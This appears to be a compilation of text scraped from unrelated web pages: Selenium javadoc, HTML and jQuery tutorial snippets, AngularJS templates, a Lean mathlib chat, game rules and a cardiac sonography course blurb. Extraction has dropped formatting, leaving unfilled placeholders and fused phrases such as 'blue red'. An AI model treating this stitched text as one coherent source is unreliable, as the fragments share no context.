public static final DriverCommand FIND_CHILD_ELEMENTS
public static final DriverCommand CLEAR_ELEMENT
public static final DriverCommand CLICK_ELEMENT
public static final DriverCommand HOVER_OVER_ELEMENT
public static final DriverCommand SEND_KEYS_TO_ELEMENT
public static final DriverCommand SUBMIT_ELEMENT
public static final DriverCommand TOGGLE_ELEMENT
public static final DriverCommand GET_CURRENT_WINDOW_HANDLE
public static final DriverCommand GET_WINDOW_HANDLES
public static final DriverCommand SWITCH_TO_WINDOW
public static final DriverCommand SWITCH_TO_FRAME
public static final DriverCommand SWITCH_TO_FRAME_BY_INDEX
public static final DriverCommand SWITCH_TO_FRAME_BY_NAME
public static final DriverCommand SWITCH_TO_DEFAULT_CONTENT
public static final DriverCommand GET_ACTIVE_ELEMENT
public static final DriverCommand GET_CURRENT_URL
public static final DriverCommand GET_PAGE_SOURCE
public static final DriverCommand GET_TITLE
public static final DriverCommand EXECUTE_SCRIPT
public static final DriverCommand GET_SPEED
public static final DriverCommand SET_SPEED
public static final DriverCommand SET_BROWSER_VISIBLE
public static final DriverCommand IS_BROWSER_VISIBLE
public static final DriverCommand GET_ELEMENT_TEXT
public static final DriverCommand GET_ELEMENT_VALUE
public static final DriverCommand GET_ELEMENT_TAG_NAME
public static final DriverCommand SET_ELEMENT_SELECTED
public static final DriverCommand DRAG_ELEMENT
public static final DriverCommand IS_ELEMENT_SELECTED
public static final DriverCommand IS_ELEMENT_ENABLED
public static final DriverCommand IS_ELEMENT_DISPLAYED
public static final DriverCommand GET_ELEMENT_LOCATION
public static final DriverCommand GET_ELEMENT_LOCATION_ONCE_SCROLLED_INTO_VIEW
public static final DriverCommand GET_ELEMENT_SIZE
public static final DriverCommand GET_ELEMENT_ATTRIBUTE
public static final DriverCommand GET_ELEMENT_VALUE_OF_CSS_PROPERTY
public static final DriverCommand ELEMENT_EQUALS
public static final DriverCommand SCREENSHOT
public static final DriverCommand DISMISS_ALERT
public static final DriverCommand IMPLICITLY_WAIT
| Method Detail |
|---|
public static DriverCommand[] values()
for (DriverCommand c : DriverCommand.values()) System.out.println(c);
public static DriverCommand valueOf(java.lang.String name)
name
- the name of the enum constant to be returned.
java.lang.IllegalArgumentException
- if this enum type has no constant
with the specified name
java.lang.NullPointerException
- if the argument is nullpublic java.lang.String toString()
toString
in class java.lang.Enum<DriverCommand>
public static DriverCommand fromName(java.lang.String name)
DriverCommand
based on its commandName
property.
name
- The name to lookup.
java.lang.IllegalArgumentException
|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | ENUM CONSTANTS | FIELD | METHOD | DETAIL: ENUM CONSTANTS | FIELD | METHOD |


Salt de linia
Tutorial linkThis is a paragraph.Posa el ratoli a sobre meu
This is
a paragraph
with line breaks.
My Bonnie lies over the ocean. My Bonnie lies over the sea. My Bonnie lies over the ocean. Oh, bring back my Bonnie to me.
This is a paragraph.
This is a paragraph.
This is a paragraph.
Centered paragraph.
This is a paragraph.
Lorem ipsum...
My favorite color is blue red.
My favorite color is red.
This is subscripted text.
This is superscripted text.


Hello! {{currentUser.email}}
Coffee shop reviews
All reviews
Sign up
My Reviews
Add Review
Log in
Log out


Documentation for Notify.py
Notify.py
notify.py is a small python module for sending native cross-platform notifications. The only dependency required is loguru.
Getting started
from notifypy import Notify
notification = Notify()
notification.title = "Cool Title"
notification.message = "Even cooler message."
notification.send()
That's it. This will send a desktop notification on the respected user platform.
Installation
pip install notify-py


LyfeSpace
Home
Categories
Rewards
Sign Up
Sign In
Start Buying and Selling
in The Newest Way
Full Name
Email Address
Password
Store
Do you want to open an online store?
Yes, i want
No, thank you
Store Name
Category
Select Category
Furniture
Sign Up Now
Back to Sign In


--- layout: archive title: Zulip Chat Archive permalink: /stream/116395-maths/topic/has_scalar.20for.20monoid.20actions.html ---
Is there a reason why we are not using •
to denote monoid/group actions?
Please take a look at the last line of 6.20 on page 50 of http://math.stanford.edu/~conrad/Perfseminar/refs/wedhornadic.pdf
There is a calculation that involves taking products of sets and subgroups
s • G
is defined as add_group.closure {x | ∃ (r ∈ s) (g ∈ G), x = r g}
.
This calculation becomes completely unreadable without the correct notation and framework.
I would appreciate if people could review this patch:
https://github.com/leanprover-community/mathlib/commit/02baf145de6a796bd0b946caf7735f416330b854
I introduce notation for monoid/group actions, and refactor sylow.lean
which is the only place where group actions are used.
It seems to work quite nicely in the two files that I edited. However... for some reason that I really don't understand, it is now no longer possible to coerce from units int
to an arbitrary ring. And this is causing breakage in determinant.lean
. I have no clue why this coercion is affected...
@Chris Hughes @Kenny Lau Do you have a clue what is the cause of the breakage?
No, but I have had the same problem with code I wrote affecting that coercion.
Was it related code?
It would be sad if we have to make that coercion explicit... Otoh, it isn't too much trouble to make determinant.lean
a bit less fragile.
I just ended up import group_theory/subgroup
or something into that file, which broke it.
Is algebra/module
the only thing that has changed that is imported by determinant
?
I think so. algebra.module
now imports group_action
because of the notation.
I could put that notation in a separate file... but I was planning on making module
extend monoid_action
by definition... so that would only be a temporary fix.
You could dump it in algebra/group
. It's not really a long term fix.
@Mario Carneiro Do you know how to make these thing play nice together?
FYI the coe
that breaks is from units int
to a ring.
what if you put an intermediate type ascription to int
?
Doesn't fix it )-;
It works for me.
Hmm, maybe what I tried was to recreate the coercion with that intermediate type ascription...
Anyway, if you say it worked for you, I'll try to follow that approach. It's likely the best way forward.
What is an intermediate type ascription?
if x : A
and you want a C
and you write (x : B)
As a small contribution to this discussion, I pushed https://github.com/leanprover-community/mathlib/commit/0d92ca165e83f0d37f9e2c42ac9510c258113526 It fixes the file determinant.lean
by pushing all coercions into a local notation (which improves readability anyway). I'm not saying this is perfect, but I like it so far
Don't worry about the Travis fail, I realized while reading the diff on GitHub that I missed one coercion to remove, so I forced pushed and amended commit
Oh, you didn't say dimension.lean
was also broken. Hence the Travis fail
I fixed that one https://github.com/leanprover-community/mathlib/commit/84ed310358a818b9b779e18ff81ee07f17c94af7 We'll see what Travis has to say during my lunch
I stopped the compile after two screen fills of breakage in determinant.lean
. There might well be more breakage.
Thanks for contributing @Patrick Massot I really like what you've done.
If this passes Travis, I think we can PR it.
One thing I realised is that almost all instances of has_pow
are also monoid/group actions... I don't know if/how we should unify that...
But maybe that is an issue for another time.
Travis is happy
Globally, I think it's a good idea not to type ⇑
or ↑
. If Lean needs them then an explicit type ascription is probably much better for readability and maintenance. I think the case of ↥
is a bit different because there probably less ambiguity
@Patrick Massot Do you agree that we can PR this? Or would you want to add other stuff?
Done #846
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


{{food.taste}}
{{glutenMessage}}
{{lactoseMessage}}
Name
Email
Payment Select your payment Swish Mastercard Visa Cash Traveler Check
Ordered burgers: {{myMenu[index].name}} {{nameBox}} with email {{emailBox}} and gender {{genderPick}} will pay with {{paymentSelect}}


com.ryandw11.structure.commands.cstruct
Classes
AddItemCommand
AddonsCommand
CheckKeyCommand
CreateCommand
CreateSchematicCommand
GetItemCommand
ListCommand
NearbyCommand
ReloadCommand
TestCommand
TestSpawnCommand


Description: Reduce the set of matched elements to the one at the specified index.
index: Integer An integer indicating the 0-based position of the element.
-index: Integer An integer indicating the position of the element, counting backwards from the last element in the set.
Given a jQuery object that represents a set of DOM elements, the .eq()
method constructs a new jQuery object from one element within that set. The supplied index identifies the position of this element in the set.
Consider a page with a simple list on it:

list item 1

list item 2

list item 3

list item 4

list item 5

We can apply this method to the set of list items:
$('li').eq(2).css('background-color', 'red');
The result of this call is a red background for item 3. Note that the supplied index is zero-based, and refers to the position of the element within the jQuery object, not within the DOM tree.
Providing a negative number indicates a position starting from the end of the set, rather than the beginning. For example:
$('li').eq(-2).css('background-color', 'red');
This time list item 4 is turned red, since it is two from the end of the set.
If an element cannot be found at the specified zero-based index, the method constructs a new jQuery object with an empty set and a length
property of 0.
$('li').eq(5).css('background-color', 'red');
Here, none of the list items is turned red, since .eq(5)
indicates the sixth of five list items.
<!DOCTYPE html>


| # of Nodes : | |
| CPU Time Sec : | |
| Jobs Done : |
| IP Address | Name | CPUs | Busy | Available | Jobs Done |
CPU Time Sec |
Last Update | ||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| CPU | Memory | Swap | Disk |
| Poll Interval Seconds : | ||
| Node : | Port : | |
| Cluster Admin Secret : | ||
| Sort Nodes by : | ||
| Service Time of Selected Nodes : | ||
| CPUs of Selected Nodes : |


Spoons Game!
Thanks for playing!
Enter your pin to login
Elimination Feed
Message of the day:
Rules:
No eliminating when your target is in class.
No eliminating when they are in unconscious in their private area, I.E. Someone sleeping or showering in their room.
No eliminating in the bathrooms.
You cannot cover both your back and front since you are not participating fairly.
If someone covers their back only, then they cannot be attacked from the back.
If someone says they didn't witness an elimination, then that elimination is valid.
The eliminated target MUST give their spoon to the person who eliminated them.

If your target gets banned, you will automatically receive a new target.
Your target is the only person you can eliminate.
If the last people eliminate each other at the same time, then the game will be settled with a Game Admin Present.
Kills are only valid from the front or the back.


Welcome!
 This site provides real time status of bicycles at stations throughout the world, thanks to CityBikes. Need to find a bike to use or a station to drop off your bike? Simply go to our "Find A Bike" page and select your desired country and city to check out the number of bikes and open slots available at each participating bike station in your local area.


I completed my graduation in Electrical and electronics engineering
I am learning software courses in navgurukul organization


Welcome to World Cardiac Vision of Cardiac Sonography Program. This program is a 10-month long full-time online and offline hybrid program that runs continuously through September of the following year.
This program is designed to provide clinical training, including hands-on practice of echocardiography procedure, an academic curriculum in cardiac anatomy and physiology, cardiac sonography principles, basic electrocardiography and interpretation, physics and instrumentation, and cardiovascular terminology. Our goal is to prepare competent entry-level adult cardiac sonographers with the knowledge and skills they need to work with cardiologist side by side and help in the diagnosis of cardiac disease noninvasively. We are dedicated to training sonographers who exemplify this standard and degree of excellence. Upon completion of the program, graduates will be eligible to perform a comprehensive diagnostic echocardiogram, and provide a preliminary report to the cardiologist. Upon providing a two-year service to the hospital and build their echocardiography experience, graduates will be eligible to sit for the American Registry of Diagnostic Medical Sonography (ARDMS) Registry Exams. The biggest of the many advantages of the World Cardiac Vision program is that it is free and we come to where you are! All clinical training is also performed at the same location where you’re working. As WCV is endorsed by the Society of Cardiac Professionals, there is a strong collaboration with the didactic and clinical instructors to ensure harmony throughout the program and set success for trainees.